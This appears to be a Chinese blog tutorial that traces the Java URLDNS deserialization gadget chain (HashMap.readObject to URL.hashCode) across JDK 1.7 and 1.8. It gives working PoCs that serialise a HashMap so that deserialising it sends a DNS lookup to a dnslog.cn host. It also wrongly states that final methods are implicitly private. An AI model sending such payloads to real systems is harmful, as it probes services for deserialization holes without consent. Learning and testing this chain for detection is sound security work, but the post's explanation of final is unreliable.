首页 > 编程语言 >Java反序列化-URLDNS利用链分析

Java反序列化-URLDNS利用链分析

时间:2023-01-18 17:58:19浏览次数:53  
标签:java HashMap URL import hashCode URLDNS new Java 序列化

前言

URLDNS链是Java反序列化中比较简单的一个链子,由于URLDNS不依赖第三方包和不限制jdk版本,所以经常用于检测反序列化漏洞。

URLDNS并不能执行命令,只能发送DNS请求。

(应该先看这个简单的链再去学习cc1的...)

利用链

查看ysoserial中URLDNS的Gadget:

Gadget Chain:
  HashMap.readObject()
    HashMap.putVal()
      HashMap.hash()
        URL.hashCode()

接下来进行逐一分析:

URL

该类位于java.net.URL,通过该类的Hashcode方法我们可以进行DNS请求

package com.serializable.urldns;

import java.net.URL;

public class UrlDns {
    public static void main(String[] args) throws Exception {
        URL url = new URL("http://java.ei3jpq.dnslog.cn/");
        url.hashCode();
    }
}

通过调试跟进一下DNS请求的过程:

这里handler是一个URLStreamHandler类对象,并且设置了transient关键字(不被序列化)

第一部分就是注释描述去解析了HTTP协议

第二部分就是进行解析host,通过getHostAddress方法进行DNS解析

HashMap

即使是不依赖第三方包的链子,调用hashCode的地方也是很多的

找到HashMap这里,发现在hash方法中调用了k.hashCode方法,并且调用对象k也是可控的

但是我们发现这里hash方法的关键字为final,这里去看了下final的作用:

  1. 用于修饰类:该类不能被继承,并且所有成员方法都会被隐式指定为final
  2. 用于修饰方法:该方法不能被修改,并且会被隐式指定为private
  3. 用于修饰变量:该变量不能被修改,如果是引用类型的变量,则在对其初始化之后便不能再让其指向另一个对象

所以这里不能直接调用hash方法,需要通过反射:

package com.serializable.urldns;

import java.lang.reflect.Method;
import java.net.URL;
import java.util.HashMap;

public class UrlDns {
    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
        URL url = new URL("http://java.z5aw2t.dnslog.cn/");
        Class<? extends HashMap> aClass = hashMap.getClass();
        Method hash = aClass.getDeclaredMethod("hash", Object.class);
        hash.setAccessible(true);
        hash.invoke(hashMap, url);
    }
}

运行代码后成功执行

jdk1.7

但是我们发现在ysoserial中并不是这样利用的,是通过put方法调用了hash方法进行调用

所以poc也可以这样写:

package com.serializable.urldns;

import java.net.URL;
import java.util.HashMap;

public class UrlDns {
    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
        URL url = new URL("http://java.z5aw2t.dnslog.cn/");
        hashMap.put(url, null);
    }
}

之后查看了HashMap.readObject方法,发现在最后调用了putForCreate

该方法也调用了hash,所以正确的链子应该是从putForCreate进去的

但是在写的时候发现了一个问题,就是当在构造poc时,需要使用put写key,所以这个时候会触发一次dns解析,如何避免这个问题需要解决,我们再去看一下dns解析的那块代码

在这里如果hashCode!=-1就会直接返回hashCode,并不会进入handler.hashCode进行DNS解析,我们可以在HashMap.put前通过反射修改该值,然后在put之后修改回来就可以达到目的,所以poc如下:

package com.serializable.urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class UrlDns {
    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
        URL url = new URL("http://java.3hnrl6.dnslog.cn/");
        Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url, 0);
        hashMap.put(url, null);
        hashCode.set(url, -1);
        try {
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            outputStream.writeObject(hashMap);
            outputStream.close();
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
            inputStream.readObject();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

jdk1.8

看了其他文章,说readObject中有一个putVar方法,刚才一直在使用jdk1.7在分析,猜测可能是和这个有关系,查看jdk1.8中的HashMap看一看

jdk1.8中,HashMap.readObject,中的putVal这里参数中直接调用了hash方法,但是在poc构造上还是相同

ysoserial中示例

刚刚我们通过反射修改hashCode进行避免运行poc时触发DNS解析,在ysoserial中却不是这样做的

它通过自定义类继承URLStreamHandler,然后传入URL,当调用getHostAddress时将会返回null

由于URL中handler变量的关键字为transient,刚刚说过该关键字作为标识的不能被序列化,所以这个自定义类并不会写入序列化字符串中,也就成功避免了DNS解析

随之就尝试写poc,结果运行发现dnslog并没有收到,调试发现hashCode不是-1

然后发现ysoserial最后还有一句话,是将URL对象里的hashCode置-1,注释是这样说的“在上面的put过程中,会计算并缓存URL的hashCode。这将重置hashCode,以便下次调用hashCode时触发DNS查找”

通过调试put看一下是如何缓存的

这里因为getHostAddress重写返回null

然后通过一系列的解析得到1528092086并返回,返回后复制给hashCode

所以我们还需要在put之后通过反射将hashCode缓存清除,这样一来发现还是一开始写的那个代码可能更少一点

最终POC

package com.serializable.urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class UrlDns {
    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
        URL url = new URL("http://java.3hnrl6.dnslog.cn/");
        Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url, 0);
        hashMap.put(url, null);
        hashCode.set(url, -1);
        try {
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            outputStream.writeObject(hashMap);
            outputStream.close();
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
            inputStream.readObject();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

或者

package com.serializable.urldns;

import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class UrlDns {
    public static void main(String[] args) throws Exception {
        SilentURLStreamHandler silentURLStreamHandler = new SilentURLStreamHandler();
        URL url = new URL(null, "http://java.4l89i4.dnslog.cn/", silentURLStreamHandler);
        HashMap hashMap = new HashMap();
        hashMap.put(url, null);
        Field hashCode = url.getClass().getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url, -1);

        try {
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            outputStream.writeObject(hashMap);
            outputStream.close();
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
            inputStream.readObject();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

标签:java,HashMap,URL,import,hashCode,URLDNS,new,Java,序列化
From: https://www.cnblogs.com/seizer/p/17060315.html

相关文章

  • java 实现读取本地日志文件列表并在浏览器上显示
    importorg.springframework.core.io.Resource;importorg.springframework.core.io.UrlResource;importorg.springframework.http.HttpHeaders;importorg.springfra......
  • Java RMI机制
    概念RMI机制即Java远程方法调用(JavaRemoteMethodInvocation),在Java语言中,一种用于实现远程过程调用的应用程序编程接口。它使得客户端上运行的程序可以远程调用远程服务......
  • java 405_Http状态405-方法不允许
    解决方法:删除下列代码。super.doGet(req.resp);super.doPost(req.resp);分析:405错误一般指请求methodnotallowed错误。请求行中指定的请求方法不能被用于请求响应......
  • Pure JavaScript Stars Generator All In One
    PureJavaScriptStarsGeneratorAllInOnepadStart&padEnd//constrating=stars=>`★★★★★☆☆☆☆☆`.slice(5-stars,10-stars);//constrating......
  • 千锋JavaScript学习笔记
    千锋JavaScript学习笔记目录千锋JavaScript学习笔记写在前面1.JS基础1.1变量1.2数据类型1.3数据类型转换1.4运算符1.5条件1.6循环1.7函数1.8对象数据类型1.9数......
  • Java8时间段分组
    根据统计的时间段进行分组,例如当天的时间段0点到6点、6点到12点,12点到18点的统计数量,这时候繁杂的for循环会导致代码量激增,切不够明了。我们可以用Java8的链式方式来进行分......
  • java的反射
    一.反射的由来 编译阶段:将java文件编译成字节码文件。加载过程:通过类加载器,在方法区中加载类的静态属性和静态方法,在堆中存放该类的反射类对象。运行过程:执行方法。......
  • 【Javaweb】servlet二
    servlet程序常见错误1、url-pattern路径没有以/打头2、servlet-name配置的值不存在3、servlet-class标签的全类名配置错误servlet-url地址如何定位到servlet程序去访......
  • Java 集合 - 精简版
    Java集合1.Collection1.List1.ArrayList存储有序有索引元素可重复底层是Object数组查询快,增删慢2.LinkedList存储有序无索引元素可重复底层是......
  • JavaWeb-Request&Response
    JavaWeb-Request&Response1,Request和Response的概述Request是请求对象,Response是响应对象。这两个对象在我们使用Servlet的时候有看到:此时,我们就需要思考一个问题reques......